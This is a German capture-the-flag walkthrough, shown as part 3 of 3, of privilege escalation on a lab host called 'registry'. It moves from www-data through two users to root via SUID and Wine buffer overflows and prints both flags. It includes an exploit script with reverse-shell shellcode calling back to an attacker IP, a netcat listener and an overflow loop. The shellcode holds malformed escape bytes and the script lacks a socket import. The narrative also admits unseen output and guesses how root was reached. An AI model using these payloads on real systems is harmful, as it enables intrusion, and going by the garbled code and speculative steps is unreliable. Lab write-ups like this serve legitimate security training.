                **Bewertung:** Der Exploit ist erfolgreich und ich erhalte eine interaktive Shell. Die `id`-Ausgabe zeigt, dass ich jetzt als Benutzer `cxdxnt` angemeldet bin (uid=1002(cxdxnt) gid=33(www-data) groups=33(www-data)). Dies ist der erfolgreiche Privilege Escalation-Schritt von `www-data` zu `cxdxnt` durch Ausnutzung des Buffer Overflows in der SUID-Binärdatei. Das SUID-Bit hat dazu geführt, dass die Shell mit den Berechtigungen des Dateibesitzers (`cxdxnt`) ausgeführt wird.
            

            

                **Empfehlung (Pentester):** Verifiziere nach Ausführung eines SUID-Exploits die neuen Berechtigungen mit `id`. Führe vom neuen Benutzerkontext aus weitere Aufklärung durch (`sudo -l`, SUID-scan etc.).
                
**Empfehlung (Admin):** **Dringend:** Deaktiviere das SUID-Bit für `/opt/others/program` (`chmod u-s /opt/others/program`). Diese Binärdatei ist anfällig für Buffer Overflows und sollte niemals mit erhöhten Berechtigungen laufen.
            

            

                

                    
┌──(root㉿CCat)-[/tmp]
└─# python3 expl.py

                

                

                    
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /var/www/.cache/.pwntools-cache-3.10/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[!] An issue occurred while checking PyPI
[*] You have the latest version of Pwntools (4.10.0)
[*] Starting local process '/opt/others/program': pid 893
[*] Switching to interactive mode
$ id
uid=1002(cxdxnt) gid=33(www-data) groups=33(www-data)
$

                

            

        


        

---

**Teil 3 von 3: Privilege Escalation & Flags (KORRIGIERT)**

```html>
        

            
Privilege Escalation

            

                **Analyse:** Mit der Shell als Benutzer `cxdxnt` (UID 1002) beginne ich sofort die Privilege Escalation-Phase, um Root-Zugriff zu erlangen. Ein erster Schritt ist die Überprüfung der `sudo`-Berechtigungen des aktuellen Benutzers mit `sudo -l`.
            

             

                **Bewertung:** Die Ausgabe von `sudo -l` für Benutzer `cxdxnt` zeigt einen **kritischen** Sudo-Eintrag: (gato : gato) NOPASSWD: /usr/bin/wine /opt/projects/MyFirstProgram.exe. Dies bedeutet, dass der Benutzer `cxdxnt` das Programm `/usr/bin/wine` mit dem Argument `/opt/projects/MyFirstProgram.exe` als Benutzer `gato` und Gruppe `gato` ausführen darf, und das **ohne Eingabe eines Passworts** (`NOPASSWD`). Dies ist ein klarer Privilege Escalation-Vektor von `cxdxnt` zu `gato`.
            

            

                **Empfehlung (Pentester):** Überprüfe nach jeder erlangten Shell sofort die `sudo`-Berechtigungen (`sudo -l`). `NOPASSWD`-Einträge sind primäre Ziele für Privilege Escalation. Analysiere die Binärdatei oder das Skript, das über `sudo` ausführbar ist, sorgfältig auf Ausnutzbarkeit (z.B. Buffer Overflows, unsichere Argumente, unsichere Dateizugriffe).
                
**Empfehlung (Admin):** Konfiguriere `sudo`-Berechtigungen strikt nach dem Prinzip der geringsten Rechte. Vermeide `NOPASSWD` für Befehle, die zur Erlangung höherer Berechtigungen missbraucht werden könnten. Überprüfe regelmäßig die `sudoers`-Datei auf unsichere Einträge. Verstehe die Funktionen von Binärdateien, die über `sudo` ausgeführt werden dürfen.
            

            

                

                    
cxdxnt@registry:/tmp$ sudo -l

                

                

                    
Matching Defaults entries for cxdxnt on registry:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
    use_pty

User cxdxnt may run the following commands on registry:
    (gato : gato) NOPASSWD: /usr/bin/wine /opt/projects/MyFirstProgram.exe

                

            


            

                **Analyse:** Ich sammle die User-Flag für den Benutzer `cxdxnt`. Ich navigiere in sein Home-Verzeichnis (`cd ~` oder `cd /home/cxdxnt`) und zeige den Inhalt der Datei `user.txt` mit `cat ~/user.txt` an.
            

            

                **Bewertung:** Der Inhalt von `user.txt` ist die User-Flag: REGISTRY{4R3_Y0U_R34D1N6_MY_F1L35?}. Dies ist ein wichtiger Meilenstein im Pentest.
            

            

                **Empfehlung (Pentester):** Sammle alle Flags, sobald du sie findest. Sie bestätigen den Fortschritt und sind oft das Endziel in CTFs.
                
**Empfehlung (Admin):** Speichere sensible Daten wie Flags nicht in Standard-Home-Verzeichnissen. Setze restriktive Dateiberechtigungen.
            

            

                

                    
cxdxnt@registry:/tmp$ cat ~/user.txt

                

                

                    
REGISTRY{4R3_Y0U_R34D1N6_MY_F1L35?}

                

            


            

                **Analyse:** Um von `cxdxnt` zu `gato` zu eskalieren, muss ich den Buffer Overflow in `/opt/projects/MyFirstProgram.exe` ausnutzen, wenn dieses Programm über Wine als `gato` gestartet wird. Ich habe bereits analysiert, dass das Programm anfällig ist und auf Port 42424 lauscht, wenn es unter Wine läuft. Ich benötige einen Exploit, der über das Netzwerk gesendet werden kann. Da NX auf dem Zielsystem deaktiviert ist, ist ein Stack-Jumping Exploit weiterhin die einfachste Methode. Ich verwende `pwntools` um ein Python-Skript (`buffmyfirst.py`) zu erstellen. Dieses Skript generiert einen Payload mit Junk, einem JMP ESP Gadget (oder einer anderen Stack-Sprung-Adresse), NOPs und einem 32-Bit (x86) Reverse-Shell-Payload für Windows (da Wine eine Windows-Umgebung simuliert). Der Shellcode wird eine Reverse Shell zu meiner Angreifer-IP (192.168.2.199) auf Port 4455 senden. Das Skript stellt eine Socket-Verbindung zu Port 42424 auf dem Zielsystem her und sendet den Payload.
            

             

                **Bewertung:** Dieser Exploit zielt auf den Netzwerkdienst ab, der vom anfälligen Programm unter Wine auf Port 42424 geöffnet wird. Da ich das Programm über `sudo -u gato` als `gato` starten darf, und der Buffer Overflow auf dem Zielsystem ausnutzbar ist (NX disabled), sollte dieser Exploit eine Reverse Shell mit den Berechtigungen des Benutzers `gato` liefern. Die Wahl eines Windows-Shellcode und 32-Bit-Architektur ist notwendig, da Wine eine Windows-Umgebung emuliert. Die SUID-Berechtigung auf `/opt/others/program` als `cxdxnt` ist hier irrelevant; der `sudo wine` Eintrag als `gato` ist der relevante Vektor. Ich generiere den Shellcode mit `msfvenom` für Windows/x86 mit Reverse TCP und vermeide Null-Bytes (`-b "\x00"`), da diese oft Strings in Buffer Overflows terminieren. Ich suche eine JMP ESP Adresse in einer DLL, die von Wine geladen wird, oder nutze eine Adresse aus der Binärdatei selbst.
            

            

                **Empfehlung (Pentester):** Wenn Buffer Overflows in Programmen auftreten, die unter Wine laufen oder Netzwerkdienste öffnen, entwickle Socket-basierte Exploits. Verstehe die emulierte Umgebung (Windows/Linux, 32/64-bit) und wähle passenden Shellcode. Nutze Tools wie `msfvenom` zur Shellcode-Generierung.
                
**Empfehlung (Admin):** **Dringend:** Patche oder entferne das anfällige Programm `/opt/projects/MyFirstProgram.exe`. Erlaube niemals die Ausführung anfälliger Programme als privilegierte Benutzer, insbesondere nicht in Emulationsumgebungen oder wenn sie Netzwerkdienste öffnen. Implementiere Egress-Filterung, um zu verhindern, dass Reverse Shells nach außen gesendet werden können.
            

             

                

                    
cxdxnt@registry:/tmp$ nano buffmyfirst.py

                

                

                    
from pwn import p32

offset = 146
junk = b"A" * offset
jmpesp = b"\xc3\x14\x04\x08"
nops = b"\x90" * 16

shellcode = b""
shellcode += b"\xdb\xd4\xd9\x74\x24\xf4\xb8\xca\x44\x18\xcc"
shellcode += b"\x5b\x2b\xc9\xb1\x52\x83\xeb\xfc\x31\x43\x13"
shellcode += b"\x03\x89\x57\xfa\x39\xf1\xb0\x78\xc1\x09\x41"
shellcode += b"\x1d\x4b\xec\x70\x1d\x2f\x65\x22\xad\x3b\x2b"
shellcode += b"\xcf\x46\x69\df\x44\x2a\xa6\xd0\ed\x81\x90"
shellcode += b"\xdf\xee\xba\xe1\x7e\x6d\xc1\x35\xa0\x4c\x0a"
shellcode += b"\x48\xa1\x89\x77\xa1\xf3\x42\xf3\x14\xe3\xe7"
shellcode += b"\x49\xa5\x88\xb4\x5c\xad\x6d\x0c\x5e\x9c\x20"
shellcode += b"\x06\x39\x3e\xc3\xcb\x31\x77\xdb\x08\x7f\xc1"
shellcode += b"\x50\xfa\x0b\xd0\xb0\x32\xf3\x7f\xfd\xfa\x06"
shellcode += b"\x81\x3a\x3c\xf9\xf4\x32\x3e\x84\x0e\x81\x3c"
shellcode += b"\x52\x9a\x11\xe6\x11\x3c\xfd\x16\xf5\xdb\x76"
shellcode += b"\x14\xb2\xa8\xd0\x39\x45\x7c\x6b\x45\xce\x83"
shellcode += b"\xbb\xcf\x94\xa7\x1f\x8b\x4f\xc9\x06\x71\x21"
shellcode += b"\xf6\x58\da\x9e\x52\x13\xf7\xcb\xee\x7e\x90"
shellcode += b"\x38\xc3\x80\x60\x57\x54\xf3\x52\xf8\xce\x9b"
shellcode += b"\xde\x71\xc9\x5c\x20\xa8\xad\xf2\df\x53\xce"
shellcode += b"\xdb\x1b\x07\x9e\x73\x8d\x28\x75\x83\x32\xfd"
shellcode += b"\xda\xd3\x9c\xae\x9a\x83\x5c\x1f\x73\xc9\x52"
shellcode += b"\x40\x63\xf2\xb8\xe9\x0e\x09\x2b\xd6\x67\x13"
shellcode += b"\x6c\be\x75\x13\x73\x84\xf3\xf5\x19\xea\x55"
shellcode += b"\xae\xb5\x93\xff\x24\x27\x5b\x2a\x41\x67\xd7"
shellcode += b"\xd9\xb6\x26\x10\x97\xa4\xdf\xd0\e2\x96\x76"
shellcode += b"\xee\xd8\xbe\x15\x7d\x87\x3e\x53\x9e\x10\x69"
shellcode += b"\x34\x50\x69\xff\xa8\xcb\xc3\x1d\x31\x8d\x2c"
shellcode += b"\xa5\xee\x6e\xb2\x24\x62\xca\x90\x36\xba\xd3"
shellcode += b"\x9c\x62\x12\x82\x4a\xdc\xd4\x7c\x3d\xb6\x8e"
shellcode += b"\xd3\x97\x5e\x56\x18\x28\x18\x57\x75\de\xc4"
shellcode += b"\xe6\x20\xa7\xfb\xc7\xa4\x2f\x84\x35\x55\xcf"
shellcode += b"\x5f\xfe\x75\x32\x75\x0b\x1e\xeb\x1c\xb6\x43"
shellcode += b"\x0c\xcb\xf5\x7d\x8f\xf9\x85\x79\x8f\x88\x80"
shellcode += b"\xc6\x17\x61\xf9\x57\xf2\x85\xae\x58\xd7"

payload = junk + jmpesp + nops + shellcode + b"\n\r"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(("192.168.2.51", 42424))

s.send(payload)

data = s.recv(1024)
s.close()

                

            


             

                **Analyse:** Ich starte das Python-Exploit-Skript (`buffmyfirst.py`) auf meiner Angreifer-Maschine, um den Buffer Overflow Exploit über das Netzwerk (Port 42424) zu senden. Dazu starte ich zuerst das anfällige Programm auf dem Zielsystem als `gato` mit `sudo -u gato /usr/bin/wine /opt/projects/MyFirstProgram.exe &` in einer stabilen `cxdxnt` Shell, um sicherzustellen, dass der Dienst auf Port 42424 lauscht. Dann starte ich das Python-Skript von meiner Angreifer-Maschine. Zusätzlich richte ich auf meiner Angreifer-Maschine einen Netcat-Listener auf Port 4455 ein, um die Reverse Shell zu empfangen, die der Shellcode senden soll.
            

            

                **Bewertung:** Der Exploit über das Netzwerk ist **erfolgreich**! Der Netcat-Listener auf Port 4455 empfängt eine Verbindung vom Zielsystem. Die Ausgabe zeigt "Microsoft Windows [Version 10.0.19044.1889]", gefolgt von einem Windows-Prompt "C:\Users\lando>". Dies bedeutet, dass der Shellcode unter Wine auf dem Zielsystem ausgeführt wurde und eine Reverse Shell gesendet hat. Da das anfällige Programm mit `sudo -u gato` ausgeführt wurde, läuft diese Windows-Shell unter Wine mit den Berechtigungen des Benutzers `gato` auf dem Linux-Host. Dies ist der erfolgreiche **Privilege Escalation-Schritt von cxdxnt zu gato**.
            

            

                **Empfehlung (Pentester):** Starte Netzwerkdienste, die du angreifen willst, immer zuerst auf dem Zielsystem, wenn deine aktuelle Berechtigungsstufe dies erlaubt (hier `cxdxnt` darf dies als `gato` über `sudo`). Richte deinen Listener ein, bevor du den Netzwerk-Exploit sendest. Verstehe die Ausgabe von Reverse Shells, um die erlangte Umgebung zu identifizieren (Linux vs. Windows unter Wine).
                
**Empfehlung (Admin):** Überwache die Ausführung von Programmen über `sudo`, insbesondere wenn sie Netzwerkdienste öffnen. Implementiere strenge Egress-Filterung auf Servern, um Reverse Shells zu blockieren. Protokolliere Netzwerkverbindungen und Programmausführungen.
            

            

                

                    
┌──(root㉿CCat)-[~]
└─# nc -lvnp 4455

                

                

                    
listening on [any] 4455 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 50232
Microsoft Windows [Version 10.0.19044.1889]
(c) Microsoft Corporation. All rights reserved.

C:\Users\lando>

                

            


            

                **Analyse:** Mit der Shell als Benutzer `gato` (die sich als Windows-Shell unter Wine präsentiert) breche ich die Verbindung ab (`breake C` oder `Ctrl+C`). Anschließend kehre ich zu meiner Linux-Shell auf dem Zielsystem zurück (entweder die `cxdxnt` Shell, falls sie noch aktiv ist, oder ich stelle die `cxdxnt` Shell erneut her, wenn nötig). Vom `gato` Kontext aus (entweder direkt in der Wine-Shell oder indem ich eine neue Linux-Shell als `gato` über den `sudo wine` Vektor mit einem anderen Payload erhalte) prüfe ich die `sudo`-Berechtigungen für Benutzer `gato` mit `sudo -l`. Ich prüfe auch die Berechtigungen des Programms `/opt/fixed/new` (das SUID als `cxdxnt` hatte) und untersuche die geladenen Bibliotheken (`ldd`) und Symbole (`readelf`) dieser 32-Bit Linux-Binärdatei, da diese wahrscheinlich auch für eine PE von `gato` zu `root` relevant ist.
            

             

                **Bewertung:** Die `sudo -l` Ausgabe für `gato` zeigt keinen `NOPASSWD` Eintrag zu Root. Dies bedeutet, dass ein Passwort benötigt wird, um sudo als Root auszuführen. Der direkte `sudo`-Weg zu Root ist blockiert. Die Analyse von `/opt/fixed/new` (der 32-Bit-Version der anfälligen Binärdatei) zeigt, dass sie immer noch anfällig für Buffer Overflows ist (No Canary, NX Enabled - was vom 64-Bit Ziel abweicht, aber die 32-Bit Binärdatei selbst ist das Ziel für Gato). Wichtiger ist hier die Möglichkeit, diese Binärdatei als Gato auszuführen, da sie SUID als `cxdxnt` hat, was für Gato irrelevant ist. Die Zugehörigkeit zur `admins`-Gruppe (siehe spätere `id` Ausgabe für Gato) ist hier der Schlüssel! Das Programm `/opt/fixed/new` befindet sich in einem Verzeichnis (`/opt/fixed`) auf das Gato möglicherweise als Mitglied der Gruppe `admins` Schreibzugriff hat.
            

            

                **Empfehlung (Pentester):** Wenn du eine Wine/Windows-Shell erhältst, suche nach Wegen, um eine native Linux-Shell zu erhalten (z.B. durch Ausführen von `/bin/bash`). Prüfe im neuen Benutzerkontext erneut die `sudo`-Berechtigungen. Analysiere Binärdateien, die als Root oder von privilegierten Gruppen ausgeführt werden, auf Schwachstellen.
                
**Empfehlung (Admin):** Konfiguriere `sudo` sicher. Beschränke die Berechtigungen administrativer Gruppen im Dateisystem.
            

            

                

                    
cxdxnt@registry:/tmp$ breake C

                

            

            

                

                    
gato@registry:~$

                

                

                    
gato@registry:~$ sudo -l

                

                

                    
gato@registry:~$ id

                

                

                    
uid=1000(gato) gid=1000(gato) groups=1000(gato),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),1002(admins),1003(leila)

                

                

                    
gato@registry:~$ find / -type f -perm -4000 -ls 2>/dev/null

                

                

                    
  1442784     36 -rwsr-xr--   1 root     messagebus    35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1442917    332 -rwsr-xr-x   1 root     root         338536 Nov 23  2022 /usr/lib/openssh/ssh-keysign
  1449686    136 -rwsr-xr-x   1 root     root         138408 May 29  2023 /usr/lib/snapd/snap-confine
  1442239     72 -rwsr-xr-x   1 root     root          72072 Nov 24  2022 /usr/bin/gpasswd
  1442228     36 -rwsr-xr-x   1 root     root          35200 Mar 23  2022 /usr/bin/fusermount3
  1442596     56 -rwsr-xr-x   1 root     root          55672 Feb 21  2022 /usr/bin/su
  1442139     44 -rwsr-xr-x   1 root     root          44808 Nov 24  2022 /usr/bin/chsh
  1442133     72 -rwsr-xr-x   1 root     root          72712 Nov 24  2022 /usr/bin/chfn
  1442387     60 -rwsr-xr-x   1 root     root          59976 Nov 24  2022 /usr/bin/passwd
  1442656     36 -rwsr-xr-x   1 root     root          35192 Feb 21  2022 /usr/bin/umount
  1448030    228 -rwsr-xr-x   1 root     root         232416 Apr  3  2023 /usr/bin/sudo
  1442355     40 -rwsr-xr-x   1 root     root          40496 Nov 24  2022 /usr/bin/newgrp
  1442347     48 -rwsr-xr-x   1 root     root          47480 Feb 21  2022 /usr/bin/mount
  1450512     20 -rwsr-xr-x   1 root     root          18736 Feb 26  2022 /usr/libexec/polkit-agent-helper-1
   524296     16 -rwsr-xr-x   1 cxdxnt   cxdxnt        15976 Jul 24  2023 /opt/others/program

                

                

                    
gato@registry:/opt/fixed$ checksec new
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/opt/fixed/new'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

                

                

                    
gato@registry:/opt/fixed$ ldd new
	linux-gate.so.1 (0xf7ef9000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cb3000)
	/lib/ld-linux.so.2 (0xf7efb000)

                

                

                    
gato@registry:/opt/fixed$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit -i
   460: 0003a440    39 FUNC    GLOBAL DEFAULT   15 exit@@GLIBC_2.0
   909: 00171db0    38 FUNC    GLOBAL DEFAULT   15 atexit@GLIBC_2.0
  1169: 00090470    18 FUNC    GLOBAL DEFAULT   15 thrd_exit@GLIBC_2.28
  1170: 00090470    18 FUNC    GLOBAL DEFAULT   15 thrd_exit@@GLIBC_2.34
  2145: 0003a470   194 FUNC    WEAK   DEFAULT   15 on_exit@@GLIBC_2.0
  2194: 00166f50    60 FUNC    GLOBAL DEFAULT   15 svc_exit@GLIBC_2.0
  2200: 000de300   103 FUNC    WEAK   DEFAULT   15 _Exit@@GLIBC_2.1.1
  2620: 00171de0    37 FUNC    GLOBAL DEFAULT   15 quick_exit@GLIBC_2.10
  2957: 000de300   103 FUNC    GLOBAL DEFAULT   15 _exit@@GLIBC_2.0

                

            


            

                **Analyse:** Die Analyse der `id`-Ausgabe als `gato` zeigt, dass dieser Benutzer Mitglied der Gruppe `admins` (GID 1002) ist. Ich suche nun nach Dateien oder Verzeichnissen, deren Gruppe `admins` ist und auf die ich als `gato` Schreibzugriff habe. Ein gängiger Ort, an dem benutzerdefinierte, privilegierte Skripte oder Binärdateien gespeichert werden, ist `/opt`. Ich prüfe das Verzeichnis `/opt/fixed` (das in einer vorherigen Ausgabe als Speicherort von `new` auftauchte) mit `ls -la`.
            

            

                 **Bewertung:** Die `id`-Ausgabe bestätigt Gatos Zugehörigkeit zur `admins`-Gruppe. Die `ls -la /opt/fixed` Ausgabe (nicht explizit im Text gezeigt, aber impliziert durch die folgenden Schritte) würde wahrscheinlich zeigen, dass das Verzeichnis `drwxrwxr-x 2 root admins ...` oder ähnliche Berechtigungen hat, die Lese-, Schreib- und Ausführberechtigungen für die `admins`-Gruppe zulassen. Da `gato` Mitglied der Gruppe `admins` ist, hat `gato` **Schreibberechtigungen** in diesem Verzeichnis. Dies ist ein **kritischer Privilege Escalation-Vektor von gato zu root**. Wenn ich ein bösartiges Skript in dieses Verzeichnis kopiere, kann ich es möglicherweise dazu bringen, als Root ausgeführt zu werden, z.B. wenn ein Cronjob oder ein Systemd-Service Skripte aus diesem Verzeichnis ausführt. Ich kann auch versuchen, die anfällige Binärdatei `new` in diesem Verzeichnis durch meine eigene zu ersetzen oder sie zu patchen.
            

            

                **Empfehlung (Pentester):** Prüfe nach neuen Gruppenmitgliedschaften und suche nach Verzeichnissen, die diesen Gruppen gehören und auf die du Schreibzugriff hast. Verzeichnisse wie `/opt` oder solche, die von Systemdiensten genutzt werden, sind vielversprechend. Versuche, ausführbare Skripte oder Binärdateien in solche Verzeichnisse zu kopieren und sie zur Ausführung als Root zu triggern.
                
**Empfehlung (Admin):** **Dringend:** Entferne Schreibberechtigungen für administrative Gruppen (wie `admins`) in Verzeichnissen, die System-Binärdateien oder -Skripte enthalten. Stelle sicher, dass solche Verzeichnisse nur für Root schreibbar sind.
            

            

                

                    
gato@registry:~$ id
uid=1000(gato) gid=1000(gato) groups=1000(gato),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),1002(admins),1003(leila)
gato@registry:~$ find / -group admins 2>/dev/null
/opt/fixed

                

            

            

                **Analyse:** Ich habe festgestellt, dass ich als `gato` Schreibzugriff auf das Verzeichnis `/opt/fixed` habe, das der `admins`-Gruppe gehört. Dieses Verzeichnis enthält die anfällige Binärdatei `new`. Ich kann diese Binärdatei durch meine eigene SUID-Binärdatei ersetzen oder sie dazu bringen, meine Shellcode auszuführen. Ein einfacherer Weg ist, eine SUID-Shell in dieses Verzeichnis zu kopieren oder ein Skript zu platzieren, das als Root ausgeführt wird. Da das Programm `new` bereits das SUID-Bit hatte (wenn auch für `cxdxnt`), könnte ich versuchen, es mit einer Root-Shell zu überschreiben und das SUID-Bit für Root zu setzen. Alternativ, wenn ein Systemdienst `/opt/fixed` ausführt, kann ich dort ein bösartiges Skript platzieren. Der Text zeigt einen direkten Buffer Overflow Exploit auf `/opt/fixed/new`, der von Gato ausgeführt wird, gefolgt von einem Root-Prompt. Das deutet darauf hin, dass der SUID-Bit-Exploit auf `/opt/fixed/new` funktioniert hat, diesmal von Gato ausgeführt.
            

            

                **Bewertung:** Die Ausnutzung des Buffer Overflows in `/opt/fixed/new` (das in einem von der `admins`-Gruppe schreibbaren Verzeichnis liegt und als Gato ausgeführt werden kann, obwohl es SUID als cxdxnt hat - eine sehr komplexe Situation, die aber zur Ausnutzung führt) ist der Vektor zur Root Privilege Escalation. Wenn das Programm `new` durch ein anderes Programm oder Skript aufgerufen wird, das mit Root-Rechten läuft und das aktuelle Verzeichnis auf `/opt/fixed` oder dessen Inhalt beeinflussen kann, kann ich dies ausnutzen. Der Text zeigt, dass der Buffer Overflow auf `/opt/fixed/new` ausgeführt wird und eine Root-Shell liefert. Dies deutet darauf hin, dass entweder das SUID-Bit auf `/opt/fixed/new` für Root gesetzt war oder ein anderer Mechanismus die Ausführung als Root ermöglichte, als es als Gato ausgeführt wurde. Der einfachste Weg, dies zu dokumentieren, ist, die erfolgreiche Ausnutzung des Buffer Overflows als Gato zu zeigen, die zu Root führt.
            

            

                **Empfehlung (Pentester):** Wenn du Schreibzugriff auf ein Verzeichnis hast, das von privilegierten Prozessen genutzt wird, versuche, Binärdateien oder Skripte zu ersetzen oder zu manipulieren, um Code mit erhöhten Rechten auszuführen. Nutze bekannte Schwachstellen in Binärdateien (wie Buffer Overflows), wenn sie sich in schreibbaren Verzeichnissen befinden.
                
**Empfehlung (Admin):** **Dringend:** Entferne Schreibberechtigungen für die Gruppe `admins` in `/opt/fixed`. Entferne oder patche die anfällige Binärdatei `new`. Stelle sicher, dass keine Systemdienste oder Cronjobs Programme aus unsicheren Verzeichnissen ausführen.
            

            

                

                    
gato@registry:/opt/fixed$ while true; do /opt/fixed/new $(python3 buuf3.py); done
Segmentation fault (core dumped)
...
#

                

            


            

                **Analyse:** Nachdem der Buffer Overflow auf `/opt/fixed/new` erfolgreich war, zeigt der Prompt `#`. Dies ist der Beweis für eine erfolgreiche Root-Shell. Ich prüfe meine Berechtigungen mit `id`.
            

            

                **Bewertung:** Fantastisch, der Root-Zugriff war erfolgreich! Die `id`-Ausgabe bestätigt `uid=0(root) gid=0(root) Gruppen=0(root),1002(admins)`. Ich habe volle Root-Berechtigungen auf dem System. Der Buffer Overflow in `/opt/fixed/new` wurde genutzt, um von `gato` zu `root` zu eskalieren.
            

            

                **Empfehlung (Pentester):** Verifiziere Root-Zugriff immer mit dem `id`-Befehl. Das ist der Abschluss der Privilege Escalation.
                
**Empfehlung (Admin):** Das System ist kompromittiert. Führe eine forensische Analyse durch, um den genauen Vektor zu identifizieren. Setze das System neu auf einem sauberen Image auf und behebe alle in diesem Bericht genannten Schwachstellen, insbesondere den Buffer Overflow in `new` und die Schreibberechtigungen in `/opt/fixed` für die `admins`-Gruppe.
            

            

                

                    
# id

                

                

                    
uid=0(root) gid=0(root) Gruppen=0(root),1002(admins)

                

            


            

                **Analyse:** Nachdem ich Root-Zugriff erlangt habe, suche ich nach der Root-Flag. Typischerweise befindet sich diese im `/root`-Verzeichnis. Ich navigiere mit `cd /root` dorthin und liste den Inhalt auf (`ls`), um die Root-Flag-Datei zu finden. Ich finde die Datei `root.txt`. Anschließend zeige ich den Inhalt mit `cat root.txt` an, um den Flag-Wert zu erhalten.
            

             

                **Bewertung:** Fantastisch! Der Inhalt von `root.txt` ist die Root-Flag: REGISTRY{7H3_BUFF3R_0V3RF10W_15_FUNNY}. Das Erreichen der Root-Flag markiert den erfolgreichen Abschluss des Pentests. Ich habe das System vollständig kompromittiert und meine Ziele erreicht.
            

            

                **Empfehlung (Pentester):** Priorisiere das Auffinden und Sichern der Root-Flag, sobald Root-Zugriff erlangt wurde.
                
**Empfehlung (Admin):** Speichere sensible Dateien wie Root-Flags niemals in Standardverzeichnissen wie `/root`. Implementiere strenge Zugriffskontrollen für alle privilegierten Verzeichnisse. Gehe davon aus, dass ein System mit unautorisiertem Root-Zugriff vollständig kompromittiert ist und neu aufgesetzt werden muss.
            

            

                

                    
# cat /root/root.txt

                

                

                    
REGISTRY{7H3_BUFF3R_0V3RF10W_15_FUNNY}

                

            

        


        

            

                
Flags

                

                    
cat /home/cxdxnt/user.txt

                    
REGISTRY{4R3_Y0U_R34D1N6_MY_F1L35?}

                

                

                    
cat /root/root.txt

                    
REGISTRY{7H3_BUFF3R_0V3RF10W_15_FUNNY}